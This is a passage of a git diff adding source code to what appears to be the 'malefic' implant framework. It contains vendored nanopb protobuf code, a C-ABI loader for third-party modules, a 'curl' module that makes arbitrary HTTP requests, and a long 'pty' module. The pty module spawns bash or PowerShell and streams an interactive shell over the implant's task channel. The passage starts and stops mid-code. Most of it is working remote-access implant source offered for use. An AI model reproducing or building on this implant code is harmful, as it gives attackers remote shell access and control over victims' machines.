0x7FFFFF; + } + } + + /* Combine fields */ + mantissa <<= 29; + mantissa |= (uint64_t)(exponent + 1023) << 52; + mantissa |= (uint64_t)sign << 63; + + return pb_encode_fixed64(stream, &mantissa); +} +#endif diff --git a/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_encode.h b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_encode.h new file mode 100644 index 0000000..6dc089d --- /dev/null +++ b/malefic-3rd-template/malefic-3rd-zig/src/zig/nanopb/pb_encode.h @@ -0,0 +1,195 @@ +/* pb_encode.h: Functions to encode protocol buffers. Depends on pb_encode.c. + * The main function is pb_encode. You also need an output stream, and the + * field descriptions created by nanopb_generator.py. + */ + +#ifndef PB_ENCODE_H_INCLUDED +#define PB_ENCODE_H_INCLUDED + +#include "pb.h" + +#ifdef __cplusplus +extern "C" { +#endif + +/* Structure for defining custom output streams. You will need to provide + * a callback function to write the bytes to your storage, which can be + * for example a file or a network socket. + * + * The callback must conform to these rules: + * + * 1) Return false on IO errors. This will cause encoding to abort. + * 2) You can use state to store your own data (e.g. buffer pointer). + * 3) pb_write will update bytes_written after your callback runs. + * 4) Substreams will modify max_size and bytes_written. Don't use them + * to calculate any pointers. + */ +struct pb_ostream_s +{ +#ifdef PB_BUFFER_ONLY + /* Callback pointer is not used in buffer-only configuration. + * Having an int pointer here allows binary compatibility but + * gives an error if someone tries to assign callback function. + * Also, NULL pointer marks a 'sizing stream' that does not + * write anything. + */ + const int *callback; +#else + bool (*callback)(pb_ostream_t *stream, const pb_byte_t *buf, size_t count); +#endif + + /* state is a free field for use of the callback function defined above. + * Note that when pb_ostream_from_buffer() is used, it reserves this field + * for its own use. + */ + void *state; + + /* Limit number of output bytes written. Can be set to SIZE_MAX. */ + size_t max_size; + + /* Number of bytes written so far. */ + size_t bytes_written; + +#ifndef PB_NO_ERRMSG + /* Pointer to constant (ROM) string when decoding function returns error */ + const char *errmsg; +#endif +}; + +/*************************** + * Main encoding functions * + ***************************/ + +/* Encode a single protocol buffers message from C structure into a stream. + * Returns true on success, false on any failure. + * The actual struct pointed to by src_struct must match the description in fields. + * All required fields in the struct are assumed to have been filled in. + * + * Example usage: + * MyMessage msg = {}; + * uint8_t buffer[64]; + * pb_ostream_t stream; + * + * msg.field1 = 42; + * stream = pb_ostream_from_buffer(buffer, sizeof(buffer)); + * pb_encode(&stream, MyMessage_fields, &msg); + */ +bool pb_encode(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct); + +/* Extended version of pb_encode, with several options to control the + * encoding process: + * + * PB_ENCODE_DELIMITED: Prepend the length of message as a varint. + * Corresponds to writeDelimitedTo() in Google's + * protobuf API. + * + * PB_ENCODE_NULLTERMINATED: Append a null byte to the message for termination. + * NOTE: This behaviour is not supported in most other + * protobuf implementations, so PB_ENCODE_DELIMITED + * is a better option for compatibility. + */ +#define PB_ENCODE_DELIMITED 0x02U +#define PB_ENCODE_NULLTERMINATED 0x04U +bool pb_encode_ex(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct, unsigned int flags); + +/* Defines for backwards compatibility with code written before nanopb-0.4.0 */ +#define pb_encode_delimited(s,f,d) pb_encode_ex(s,f,d, PB_ENCODE_DELIMITED) +#define pb_encode_nullterminated(s,f,d) pb_encode_ex(s,f,d, PB_ENCODE_NULLTERMINATED) + +/* Encode the message to get the size of the encoded data, but do not store + * the data. */ +bool pb_get_encoded_size(size_t *size, const pb_msgdesc_t *fields, const void *src_struct); + +/************************************** + * Functions for manipulating streams * + **************************************/ + +/* Create an output stream for writing into a memory buffer. + * The number of bytes written can be found in stream.bytes_written after + * encoding the message. + * + * Alternatively, you can use a custom stream that writes directly to e.g. + * a file or a network socket. + */ +pb_ostream_t pb_ostream_from_buffer(pb_byte_t *buf, size_t bufsize); + +/* Pseudo-stream for measuring the size of a message without actually storing + * the encoded data. + * + * Example usage: + * MyMessage msg = {}; + * pb_ostream_t stream = PB_OSTREAM_SIZING; + * pb_encode(&stream, MyMessage_fields, &msg); + * printf("Message size is %d\n", stream.bytes_written); + */ +#ifndef PB_NO_ERRMSG +#define PB_OSTREAM_SIZING {0,0,0,0,0} +#else +#define PB_OSTREAM_SIZING {0,0,0,0} +#endif + +/* Function to write into a pb_ostream_t stream. You can use this if you need + * to append or prepend some custom headers to the message. + */ +bool pb_write(pb_ostream_t *stream, const pb_byte_t *buf, size_t count); + + +/************************************************ + * Helper functions for writing field callbacks * + ************************************************/ + +/* Encode field header based on type and field number defined in the field + * structure. Call this from the callback before writing out field contents. */ +bool pb_encode_tag_for_field(pb_ostream_t *stream, const pb_field_iter_t *field); + +/* Encode field header by manually specifying wire type. You need to use this + * if you want to write out packed arrays from a callback field. */ +bool pb_encode_tag(pb_ostream_t *stream, pb_wire_type_t wiretype, uint32_t field_number); + +/* Encode an integer in the varint format. + * This works for bool, enum, int32, int64, uint32 and uint64 field types. */ +#ifndef PB_WITHOUT_64BIT +bool pb_encode_varint(pb_ostream_t *stream, uint64_t value); +#else +bool pb_encode_varint(pb_ostream_t *stream, uint32_t value); +#endif + +/* Encode an integer in the zig-zagged svarint format. + * This works for sint32 and sint64. */ +#ifndef PB_WITHOUT_64BIT +bool pb_encode_svarint(pb_ostream_t *stream, int64_t value); +#else +bool pb_encode_svarint(pb_ostream_t *stream, int32_t value); +#endif + +/* Encode a string or bytes type field. For strings, pass strlen(s) as size. */ +bool pb_encode_string(pb_ostream_t *stream, const pb_byte_t *buffer, size_t size); + +/* Encode a fixed32, sfixed32 or float value. + * You need to pass a pointer to a 4-byte wide C variable. */ +bool pb_encode_fixed32(pb_ostream_t *stream, const void *value); + +#ifndef PB_WITHOUT_64BIT +/* Encode a fixed64, sfixed64 or double value. + * You need to pass a pointer to a 8-byte wide C variable. */ +bool pb_encode_fixed64(pb_ostream_t *stream, const void *value); +#endif + +#ifdef PB_CONVERT_DOUBLE_FLOAT +/* Encode a float value so that it appears like a double in the encoded + * message. */ +bool pb_encode_float_as_double(pb_ostream_t *stream, float value); +#endif + +/* Encode a submessage field. + * You need to pass the pb_field_t array and pointer to struct, just like + * with pb_encode(). This internally encodes the submessage twice, first to + * calculate message size and then to actually write it out. + */ +bool pb_encode_submessage(pb_ostream_t *stream, const pb_msgdesc_t *fields, const void *src_struct); + +#ifdef __cplusplus +} /* extern "C" */ +#endif + +#endif diff --git a/malefic-3rd-template/src/lib.rs b/malefic-3rd-template/src/lib.rs new file mode 100644 index 0000000..1e1c702 --- /dev/null +++ b/malefic-3rd-template/src/lib.rs @@ -0,0 +1,161 @@ +//! malefic-3rd-template — Third-party module DLL using the runtime C ABI protocol. +//! +//! Exports 7 `extern "C"` functions (rt_abi_version, rt_module_count, etc.) +//! for cross-version-safe hot loading. + +use malefic_runtime::abi::{RtBuffer, RtModuleHandle, RtStatus, RT_ABI_VERSION}; +use malefic_runtime::abi::{RtSendFn, RtRecvFn, RtTryRecvFn, RtHostFreeFn}; +use malefic_runtime::module_sdk::{RtModule, RtChannel, ErasedRtModule, RtModuleDescriptor}; +use malefic_runtime::codec; + +// ── Registry ──────────────────────────────────────────────────────────────── + +/// A runtime-named module descriptor — the name comes from FFI (CModuleName etc.) +/// rather than from the static RtModule::name(). +struct RuntimeNamedModule { + name: String, + module: Box, +} + +fn build_registry() -> Vec { + // We can't use RtModuleDescriptor directly because the names are + // runtime-determined (from FFI calls like CModuleName, GoModuleName). + // Instead, we build an intermediate list then convert. + // + // For now, use name_fn that returns the static trait name. + // The actual FFI-determined names are set via the modules themselves. + let mut v: Vec = Vec::new(); + + #[cfg(feature = "rust_module")] + v.push(RtModuleDescriptor { + name_fn: malefic_3rd_rust::RustModule::name, + constructor: || Box::new(malefic_3rd_rust::RustModule::new()), + }); + + #[cfg(feature = "golang_module")] + v.push(RtModuleDescriptor { + name_fn: malefic_3rd_go::GolangModule::name, + constructor: || Box::new(malefic_3rd_go::GolangModule::new()), + }); + + #[cfg(feature = "c_module")] + v.push(RtModuleDescriptor { + name_fn: malefic_3rd_c::CModule::name, + constructor: || Box::new(malefic_3rd_c::CModule::new()), + }); + + #[cfg(feature = "zig_module")] + v.push(RtModuleDescriptor { + name_fn: malefic_3rd_zig::ZigModule::name, + constructor: || Box::new(malefic_3rd_zig::ZigModule::new()), + }); + + #[cfg(feature = "nim_module")] + v.push(RtModuleDescriptor { + name_fn: malefic_3rd_nim::NimModule::name, + constructor: || Box::new(malefic_3rd_nim::NimModule::new()), + }); + + v +} + +fn get_registry() -> &'static [RtModuleDescriptor] { + use std::sync::OnceLock; + static REGISTRY: OnceLock> = OnceLock::new(); + REGISTRY.get_or_init(build_registry) +} + +// ── C ABI Exports ─────────────────────────────────────────────────────────── + +#[no_mangle] +pub extern "C" fn rt_abi_version() -> u32 { + RT_ABI_VERSION +} + +#[no_mangle] +pub extern "C" fn rt_module_count() -> u32 { + get_registry().len() as u32 +} + +#[no_mangle] +pub extern "C" fn rt_module_name(index: u32) -> RtBuffer { + let registry = get_registry(); + if (index as usize) >= registry.len() { + return RtBuffer::empty(); + } + let name = (registry[index as usize].name_fn)(); + RtBuffer::from_vec(name.as_bytes().to_vec()) +} + +#[no_mangle] +pub extern "C" fn rt_module_create( + name_ptr: *const u8, + name_len: u32, +) -> *mut RtModuleHandle { + if name_ptr.is_null() || name_len == 0 { + return core::ptr::null_mut(); + } + let name = unsafe { + match core::str::from_utf8(core::slice::from_raw_parts(name_ptr, name_len as usize)) { + Ok(s) => s, + Err(_) => return core::ptr::null_mut(), + } + }; + for desc in get_registry() { + if (desc.name_fn)() == name { + let module = (desc.constructor)(); + let boxed = Box::new(module); + return Box::into_raw(boxed) as *mut RtModuleHandle; + } + } + core::ptr::null_mut() +} + +#[no_mangle] +pub extern "C" fn rt_module_destroy(handle: *mut RtModuleHandle) { + if !handle.is_null() { + unsafe { + let _ = Box::from_raw(handle as *mut Box); + } + } +} + +#[no_mangle] +pub extern "C" fn rt_module_run( + handle: *mut RtModuleHandle, + task_id: u32, + ctx: *mut core::ffi::c_void, + send_fn: RtSendFn, + recv_fn: RtRecvFn, + try_recv_fn: RtTryRecvFn, + host_free: RtHostFreeFn, + final_out: *mut RtBuffer, +) -> RtStatus { + if handle.is_null() || final_out.is_null() { + return RtStatus::Error; + } + + let module = unsafe { &mut *(handle as *mut Box) }; + + let channel = unsafe { + RtChannel::from_raw(task_id, ctx, send_fn, recv_fn, try_recv_fn, host_free) + }; + + let (status, buf) = match module.run(task_id, &channel) { + malefic_runtime::module_sdk::RtResult::Done(body) => { + let bytes = codec::encode_body(task_id, body); + (RtStatus::Done, RtBuffer::from_vec(bytes)) + } + malefic_runtime::module_sdk::RtResult::Error(msg) => { + (RtStatus::Error, RtBuffer::from_vec(msg.into_bytes())) + } + }; + + unsafe { *final_out = buf; } + status +} + +#[no_mangle] +pub extern "C" fn rt_free(buf: RtBuffer) { + unsafe { malefic_runtime::abi::rt_buffer_from_vec_free(buf); } +} diff --git a/malefic-3rd/Cargo.toml b/malefic-3rd/Cargo.toml new file mode 100644 index 0000000..9c2c5b4 --- /dev/null +++ b/malefic-3rd/Cargo.toml @@ -0,0 +1,45 @@ +[package] +name = "malefic-3rd" +version = "0.1.1" +edition = "2021" + +[lib] +name = "malefic_3rd" +path = "src/lib.rs" +crate-type = ["cdylib", "rlib"] + +[features] +default = ["full", "as_module_dll"] +full = ["rem", "curl", "pty"] + +as_module_dll = ["malefic-module/ffi"] +host_bridge = ["malefic-features/runtime_tokio"] +curl = ["dep:ureq"] +memory_dial = [] +rem_dial = [] +load_rem = [] +rem = ["malefic-rem/rem", "malefic-rem/rem_static", "rem_dial", "memory_dial"] +pty = ["portable-pty", "futures-timer"] + +[dependencies] +malefic-gateway = { workspace = true } +malefic-features = { workspace = true } +malefic-proto = { workspace = true } +malefic-module = { workspace = true } +malefic-runtime = { workspace = true, optional = true } +malefic-rem = { workspace = true, optional = true } + +async-trait = { workspace = true } +anyhow = { workspace = true } +futures = { workspace = true } +futures-channel = { workspace = true } +futures-timer = { workspace = true, optional = true } + +ureq = { version = "2.12", default-features = false, optional = true } +portable-pty = { version = "0.8", optional = true } + +[dev-dependencies] +ureq = "2.12" + +[target.'cfg(unix)'.dependencies] +libc = { workspace = true } diff --git a/malefic-3rd/src/curl/mod.rs b/malefic-3rd/src/curl/mod.rs new file mode 100644 index 0000000..fb4f1c2 --- /dev/null +++ b/malefic-3rd/src/curl/mod.rs @@ -0,0 +1,44 @@ +use crate::prelude::*; +use async_trait::async_trait; +use malefic_gateway::module_impl; +use std::io::Read; + +pub struct Curl {} + +#[async_trait] +#[module_impl("curl")] +impl Module for Curl {} + +#[async_trait] +impl ModuleImpl for Curl { + async fn run(&mut self, id: u32, receiver: &mut Input, _sender: &mut Output) -> ModuleResult { + let request = check_request!(receiver, Body::CurlRequest)?; + + let mut req = ureq::request(&request.method, &request.url); + + for (key, value) in &request.header { + req = req.set(key, value); + } + + let response = if request.body.is_empty() { + req.call() + } else { + req.send_bytes(&request.body) + } + .map_err(|e| anyhow::anyhow!("{}", e))?; + + let status = response.status(); + let mut buf = Vec::new(); + response.into_reader().read_to_end(&mut buf)?; + + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(malefic_proto::proto::modulepb::BinaryResponse { + data: buf, + message: Vec::new(), + err: String::new(), + status: status as i32, + }), + )) + } +} diff --git a/malefic-3rd/src/lib.rs b/malefic-3rd/src/lib.rs new file mode 100644 index 0000000..c187b67 --- /dev/null +++ b/malefic-3rd/src/lib.rs @@ -0,0 +1,38 @@ +mod prelude; + +#[cfg(feature = "rem")] +mod rem; + +#[cfg(feature = "curl")] +mod curl; + +#[cfg(feature = "pty")] +mod pty; + +use prelude::*; +use std::collections::HashMap; + +pub extern "C" fn register_3rd() -> MaleficBundle { + let mut map: MaleficBundle = HashMap::new(); + #[cfg(feature = "rem")] + { + register_module!(map, "rem_dial", rem::RemDial); + register_module!(map, "memory_dial", rem::MemoryDial); + } + + #[cfg(feature = "curl")] + register_module!(map, "curl", curl::Curl); + + #[cfg(feature = "pty")] + register_module!(map, "pty", pty::Pty); + + map +} + +#[cfg(feature = "as_module_dll")] +malefic_module::register_rt_modules!( + #[cfg(feature = "rem")] rem::RemDial, + #[cfg(feature = "rem")] rem::MemoryDial, + #[cfg(feature = "curl")] curl::Curl, + #[cfg(feature = "pty")] pty::Pty +); diff --git a/malefic-3rd/src/prelude.rs b/malefic-3rd/src/prelude.rs new file mode 100644 index 0000000..9e4ca98 --- /dev/null +++ b/malefic-3rd/src/prelude.rs @@ -0,0 +1,14 @@ +#![allow(unused_imports)] + +pub use anyhow::anyhow; +pub use malefic_gateway::module_impl; +pub use malefic_module::{ + check_field, check_optional, check_request, debug, register_module, to_error, +}; +pub use malefic_module::{ + Input, MaleficBundle, MaleficModule, Module, ModuleImpl, ModuleResult, Output, TaskError, + TaskResult, +}; +pub use malefic_proto::proto::implantpb::spite::Body; +pub use malefic_proto::proto::implantpb::{Spite, Spites}; +pub use malefic_proto::proto::modulepb::Response; diff --git a/malefic-3rd/src/pty/mod.rs b/malefic-3rd/src/pty/mod.rs new file mode 100644 index 0000000..4034b3d --- /dev/null +++ b/malefic-3rd/src/pty/mod.rs @@ -0,0 +1,1182 @@ +use crate::prelude::*; +use async_trait::async_trait; +use futures_timer::Delay; +use malefic_gateway::module_impl; +use malefic_proto::proto::implantpb::spite::Body; +use malefic_proto::proto::modulepb::{PtyRequest, PtyResponse}; +use portable_pty::{native_pty_system, Child, CommandBuilder, PtySize}; +use std::collections::HashMap; +use std::io::{Read, Write}; +use std::sync::atomic::{AtomicBool, Ordering}; +use std::sync::{ + mpsc::{self, Receiver, Sender, TryRecvError}, + Arc, Mutex, +}; +use std::thread; +use std::time::Duration; + +malefic_gateway::lazy_static! { + static ref PTY_SESSIONS: Arc>> = Arc::new(Mutex::new(HashMap::new())); +} + +pub struct Pty {} + +#[derive(Debug)] +enum OutputData { + Stdout(Vec), + Error(String), + Close, +} + +pub struct PtySession { + input_sender: Sender>, + output_receiver: Arc>>, + session_id: String, + active: Arc>, + child: Arc>>, + master: Arc>>, + busy: Arc, +} + +#[derive(Clone)] +struct SessionHandles { + input_sender: Sender>, + output_receiver: Arc>>, + active: Arc>, + child: Arc>>, + master: Arc>>, + busy: Arc, +} + +#[derive(Clone, Copy)] +struct CollectOptions { + first_byte_timeout_ms: u64, + quiet_ms: u64, + max_bytes: usize, +} + +struct CollectResult { + output_data: Vec, + closed: bool, + truncated: bool, +} + +struct SessionBusyGuard { + busy: Arc, +} + +impl Drop for SessionBusyGuard { + fn drop(&mut self) { + self.busy.store(false, Ordering::Release); + } +} + +impl std::fmt::Debug for PtySession { + fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result { + f.debug_struct("PtySession") + .field("session_id", &self.session_id) + .finish() + } +} + +impl Pty { + fn error_response(id: u32, session_id: &str, error: String, active: bool) -> ModuleResult { + let response = PtyResponse { + session_id: session_id.to_string(), + output_text: String::new(), + output_data: Vec::new(), + error, + session_active: active, + active_sessions: Vec::new(), + ..Default::default() + }; + Ok(TaskResult::new_with_body(id, Body::PtyResponse(response))) + } + + fn success_response( + id: u32, + session_id: &str, + output_data: Vec, + output_text: String, + active: bool, + metadata: HashMap, + ) -> ModuleResult { + let response = PtyResponse { + session_id: session_id.to_string(), + output_text, + output_data, + error: String::new(), + session_active: active, + active_sessions: Vec::new(), + metadata, + ..Default::default() + }; + Ok(TaskResult::new_with_body(id, Body::PtyResponse(response))) + } + + fn check_session_status(session_id: &str) -> Result { + let sessions = PTY_SESSIONS.lock().unwrap(); + let session = sessions + .get(session_id) + .ok_or_else(|| format!("PTY session {} does not exist", session_id))?; + + let active = session + .active + .try_lock() + .map(|guard| *guard) + .unwrap_or(true); + + if !active { + return Err(format!("PTY session {} is no longer active", session_id)); + } + + if let Ok(mut child_guard) = session.child.try_lock() { + if let Ok(Some(exit_status)) = child_guard.try_wait() { + return Err(format!( + "Shell process has exited with status: {:?}", + exit_status + )); + } + } + + Ok(active) + } + + fn get_session_handles(session_id: &str) -> Result { + let sessions = PTY_SESSIONS.lock().unwrap(); + let session = sessions + .get(session_id) + .ok_or_else(|| format!("PTY session {} does not exist", session_id))?; + + Ok(SessionHandles { + input_sender: session.input_sender.clone(), + output_receiver: session.output_receiver.clone(), + active: session.active.clone(), + child: session.child.clone(), + master: session.master.clone(), + busy: session.busy.clone(), + }) + } + + fn acquire_session_busy(handles: &SessionHandles) -> Result { + match handles + .busy + .compare_exchange(false, true, Ordering::AcqRel, Ordering::Acquire) + { + Ok(_) => Ok(SessionBusyGuard { + busy: handles.busy.clone(), + }), + Err(_) => Err("PTY session is busy processing another request".to_string()), + } + } + + fn get_default_shell(requested_shell: &str) -> String { + if cfg!(windows) { + if requested_shell.is_empty() + || matches!(requested_shell, "pwsh" | "powershell" | "powershell.exe") + { + "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe".to_string() + } else { + requested_shell.to_string() + } + } else { + if requested_shell.is_empty() { + "/bin/bash".to_string() + } else { + requested_shell.to_string() + } + } + } + + fn extract_simple_prompt(output: &str) -> Option { + for line in output.lines().rev() { + let trimmed = line.trim(); + if trimmed.is_empty() { + continue; + } + + if let Some(last_char) = trimmed.chars().last() { + if matches!(last_char, '>' | '$' | '#' | 'â¯') { + return Some(trimmed.to_string()); + } + } + } + None + } + + fn remove_trailing_prompt(text: &str) -> (String, Option) { + if let Some(prompt) = Self::extract_simple_prompt(text) { + if let Some(last_newline) = text.trim_end().rfind('\n') { + return (text[..last_newline + 1].to_string(), Some(prompt)); + } + } + (text.to_string(), None) + } + + fn remove_input_echo(output_data: &[u8], input_data: &[u8]) -> Vec { + let output_str = String::from_utf8_lossy(output_data); + let input_str = String::from_utf8_lossy(input_data); + + if output_str.starts_with(&*input_str) { + output_data[input_data.len()..].to_vec() + } else { + output_data.to_vec() + } + } + + fn parse_bool_param(params: &HashMap, key: &str, default: bool) -> bool { + let Some(value) = params.get(key) else { + return default; + }; + + match value.trim().to_ascii_lowercase().as_str() { + "1" | "true" | "yes" | "on" => true, + "0" | "false" | "no" | "off" => false, + _ => default, + } + } + + fn parse_u64_param( + params: &HashMap, + key: &str, + default: u64, + min: u64, + max: u64, + ) -> u64 { + let Some(value) = params.get(key) else { + return default; + }; + + let Ok(parsed) = value.trim().parse::() else { + return default; + }; + + parsed.clamp(min, max) + } + + fn collect_options(request: &PtyRequest, for_start: bool) -> CollectOptions { + let first_timeout = if for_start { 1500 } else { 3000 }; + let quiet_timeout = if for_start { 200 } else { 150 }; + + let first_byte_timeout_ms = Self::parse_u64_param( + &request.params, + "first_byte_timeout_ms", + first_timeout, + 50, + 60000, + ); + + let quiet_ms = Self::parse_u64_param(&request.params, "quiet_ms", quiet_timeout, 10, 10000); + + let max_bytes = Self::parse_u64_param( + &request.params, + "max_bytes", + 256 * 1024, + 128, + 16 * 1024 * 1024, + ) as usize; + + CollectOptions { + first_byte_timeout_ms, + quiet_ms, + max_bytes, + } + } + + fn drain_output(receiver: &Arc>>) { + if let Ok(receiver_guard) = receiver.try_lock() { + while receiver_guard.try_recv().is_ok() {} + } + } + + fn is_special_key(input_data: &[u8]) -> bool { + matches!( + input_data, + [27, 91, 65] | // Up arrow + [27, 91, 66] | // Down arrow + [27, 91, 67] | // Right arrow + [27, 91, 68] | // Left arrow + [9] // Tab + ) + } + + async fn collect_output( + receiver: &Arc>>, + options: CollectOptions, + ) -> Result { + const POLL_MS: u64 = 25; + + let mut output_data = Vec::new(); + let mut elapsed_ms = 0u64; + let mut quiet_elapsed_ms = 0u64; + let mut seen_stdout = false; + let mut closed = false; + let mut truncated = false; + + loop { + let mut had_new_data = false; + + if let Ok(receiver_guard) = receiver.try_lock() { + loop { + match receiver_guard.try_recv() { + Ok(OutputData::Stdout(bytes)) => { + had_new_data = true; + seen_stdout = true; + output_data.extend_from_slice(&bytes); + if output_data.len() >= options.max_bytes { + output_data.truncate(options.max_bytes); + truncated = true; + break; + } + } + Ok(OutputData::Error(error)) => { + return Err(error); + } + Ok(OutputData::Close) => { + closed = true; + break; + } + Err(TryRecvError::Empty) => break, + Err(TryRecvError::Disconnected) => { + closed = true; + break; + } + } + } + } + + if truncated || closed { + break; + } + + if !seen_stdout { + if elapsed_ms >= options.first_byte_timeout_ms { + break; + } + } else if had_new_data { + quiet_elapsed_ms = 0; + } else { + quiet_elapsed_ms += POLL_MS; + if quiet_elapsed_ms >= options.quiet_ms { + break; + } + } + + Delay::new(Duration::from_millis(POLL_MS)).await; + elapsed_ms += POLL_MS; + } + + Ok(CollectResult { + output_data, + closed, + truncated, + }) + } + + fn terminate_and_remove_session(session_id: &str) -> bool { + let session = { + let mut sessions = PTY_SESSIONS.lock().unwrap(); + sessions.remove(session_id) + }; + + let Some(session) = session else { + return false; + }; + + if let Ok(mut active_guard) = session.active.try_lock() { + *active_guard = false; + } + + if let Ok(mut child_guard) = session.child.try_lock() { + if let Ok(None) = child_guard.try_wait() { + let _ = child_guard.kill(); + } + } + + true + } + + fn try_drain_output(receiver: &Arc>>) -> (Vec, bool) { + let mut data = Vec::new(); + let mut closed = false; + if let Ok(rx) = receiver.try_lock() { + loop { + match rx.try_recv() { + Ok(OutputData::Stdout(bytes)) => data.extend_from_slice(&bytes), + Ok(OutputData::Error(_)) | Ok(OutputData::Close) => { + closed = true; + break; + } + Err(TryRecvError::Empty) => break, + Err(TryRecvError::Disconnected) => { + closed = true; + break; + } + } + } + } + (data, closed) + } +} + +fn read_pty(mut reader: Box, sender: Sender, session_id: String) { + let _ = session_id; + let mut buf = vec![0; 4096]; + loop { + match reader.read(&mut buf) { + Ok(0) => { + let _ = sender.send(OutputData::Close); + break; + } + Ok(n) => { + if sender.send(OutputData::Stdout(buf[..n].to_vec())).is_err() { + break; + } + } + Err(e) => { + let _ = sender.send(OutputData::Error(format!("PTY read error: {}", e))); + break; + } + } + } +} + +fn write_pty( + mut writer: Box, + receiver: Receiver>, + _session_id: String, + active: Arc>, + child: Arc>>, +) { + while let Ok(data) = receiver.recv() { + if let Ok(is_active) = active.try_lock() { + if !*is_active { + break; + } + } + + if let Ok(mut child_guard) = child.try_lock() { + if let Ok(Some(_)) = child_guard.try_wait() { + if let Ok(mut is_active) = active.try_lock() { + *is_active = false; + } + break; + } + } + + if writer.write_all(&data).is_err() || writer.flush().is_err() { + break; + } + } +} + +#[async_trait] +#[module_impl("pty")] +impl Module for Pty {} + +#[async_trait] +impl ModuleImpl for Pty { + async fn run(&mut self, id: u32, receiver: &mut Input, sender: &mut Output) -> ModuleResult { + let request = check_request!(receiver, Body::PtyRequest)?; + + let streaming = Self::parse_bool_param(&request.params, "streaming", false); + + if request.r#type == "start" && streaming { + return self.run_streaming(id, receiver, sender, &request).await; + } + + match request.r#type.as_str() { + "start" => self.start_session(id, &request).await, + "input" => self.send_input(id, &request).await, + "resize" => self.resize_session(id, &request).await, + "stop" => self.stop_session(id, &request).await, + "list" => self.list_sessions(id).await, + _ => Self::error_response( + id, + "", + format!( + "Unknown PTY command: {}. Supported: start, input, resize, stop, list", + request.r#type + ), + false, + ), + } + } +} + +impl Pty { + async fn run_streaming( + &mut self, + id: u32, + receiver: &mut Input, + sender: &mut Output, + request: &PtyRequest, + ) -> ModuleResult { + let session_id = if request.session_id.is_empty() { + format!("pty_{}", id) + } else { + request.session_id.clone() + }; + + { + let sessions = PTY_SESSIONS.lock().unwrap(); + if sessions.contains_key(&session_id) { + return Self::error_response( + id, + &session_id, + format!("PTY session {} already exists", session_id), + true, + ); + } + } + + let pty_system = native_pty_system(); + let cols = if request.cols > 0 { request.cols } else { 80 }; + let rows = if request.rows > 0 { request.rows } else { 24 }; + + let pair = pty_system + .openpty(PtySize { + rows: rows as u16, + cols: cols as u16, + pixel_width: 0, + pixel_height: 0, + }) + .map_err(|e| anyhow::anyhow!("Failed to create PTY: {}", e))?; + + let shell = Self::get_default_shell(&request.shell); + let mut cmd = CommandBuilder::new(&shell); + if cfg!(windows) && shell.contains("powershell") { + cmd.arg("-NoLogo"); + } + cmd.env("TERM", "xterm-256color"); + + let child = pair + .slave + .spawn_command(cmd) + .map_err(|e| anyhow::anyhow!("Failed to start shell: {}", e))?; + + let pty_reader = pair + .master + .try_clone_reader() + .map_err(|e| anyhow::anyhow!("Failed to clone reader: {}", e))?; + let writer = pair + .master + .take_writer() + .map_err(|e| anyhow::anyhow!("Failed to get writer: {}", e))?; + + let (output_tx, output_rx) = mpsc::channel(); + let (input_tx, input_rx) = mpsc::channel(); + + let active = Arc::new(Mutex::new(true)); + let child_ref = Arc::new(Mutex::new(child)); + let master_ref = Arc::new(Mutex::new(pair.master)); + + let reader_session_id = session_id.clone(); + thread::spawn(move || read_pty(pty_reader, output_tx, reader_session_id)); + + let writer_session_id = session_id.clone(); + let writer_active = active.clone(); + let writer_child = child_ref.clone(); + thread::spawn(move || { + write_pty( + writer, + input_rx, + writer_session_id, + writer_active, + writer_child, + ) + }); + + let output_receiver = Arc::new(Mutex::new(output_rx)); + + { + let mut sessions = PTY_SESSIONS.lock().unwrap(); + sessions.insert( + session_id.clone(), + PtySession { + input_sender: input_tx, + output_receiver: output_receiver.clone(), + session_id: session_id.clone(), + active: active.clone(), + child: child_ref.clone(), + master: master_ref, + busy: Arc::new(AtomicBool::new(false)), + }, + ); + } + + let output_sender = sender.clone(); + let reader_output_rx = output_receiver.clone(); + let reader_session_id = session_id.clone(); + let reader_active = active.clone(); + let reader_child = child_ref.clone(); + + thread::spawn(move || { + use futures::executor::block_on; + use futures::SinkExt; + let mut tx = output_sender; + + loop { + let is_active = reader_active.try_lock().map(|g| *g).unwrap_or(true); + if !is_active { + let resp = PtyResponse { + session_id: reader_session_id.clone(), + session_active: false, + error: "Session closed".to_string(), + ..Default::default() + }; + let _ = + block_on(tx.send(TaskResult::new_with_body(id, Body::PtyResponse(resp)))); + break; + } + + if let Ok(mut cg) = reader_child.try_lock() { + if let Ok(Some(_)) = cg.try_wait() { + if let Ok(mut ag) = reader_active.try_lock() { + *ag = false; + } + let resp = PtyResponse { + session_id: reader_session_id.clone(), + session_active: false, + error: "Shell process exited".to_string(), + ..Default::default() + }; + let _ = block_on( + tx.send(TaskResult::new_with_body(id, Body::PtyResponse(resp))), + ); + break; + } + } + + let (data, closed) = Pty::try_drain_output(&reader_output_rx); + if !data.is_empty() { + let output_text = String::from_utf8_lossy(&data).to_string(); + let resp = PtyResponse { + session_id: reader_session_id.clone(), + output_data: data, + output_text, + session_active: !closed, + ..Default::default() + }; + if block_on(tx.send(TaskResult::new_with_body(id, Body::PtyResponse(resp)))) + .is_err() + { + break; + } + } + + if closed { + break; + } + + thread::sleep(Duration::from_millis(5)); + } + }); + + use futures::SinkExt; + + let start_resp = PtyResponse { + session_id: session_id.clone(), + output_text: format!( + "PTY streaming session started: {} (using {})", + session_id, shell + ), + session_active: true, + metadata: { + let mut m = HashMap::new(); + m.insert("shell".to_string(), shell); + m.insert("streaming".to_string(), "true".to_string()); + m + }, + ..Default::default() + }; + let _ = sender + .send(TaskResult::new_with_body(id, Body::PtyResponse(start_resp))) + .await; + + use futures::StreamExt; + while let Some(body) = receiver.next().await { + if let Body::PtyRequest(req) = body { + match req.r#type.as_str() { + "input" => { + let input_data = if !req.input_data.is_empty() { + req.input_data.clone() + } else { + req.input_text.as_bytes().to_vec() + }; + + if !input_data.is_empty() { + let handles = Self::get_session_handles(&session_id); + if let Ok(h) = handles { + let _ = h.input_sender.send(input_data); + } + } + } + "resize" => { + let c = if req.cols > 0 { req.cols } else { 80 }; + let r = if req.rows > 0 { req.rows } else { 24 }; + if let Ok(handles) = Self::get_session_handles(&session_id) { + if let Ok(master) = handles.master.try_lock() { + let _ = 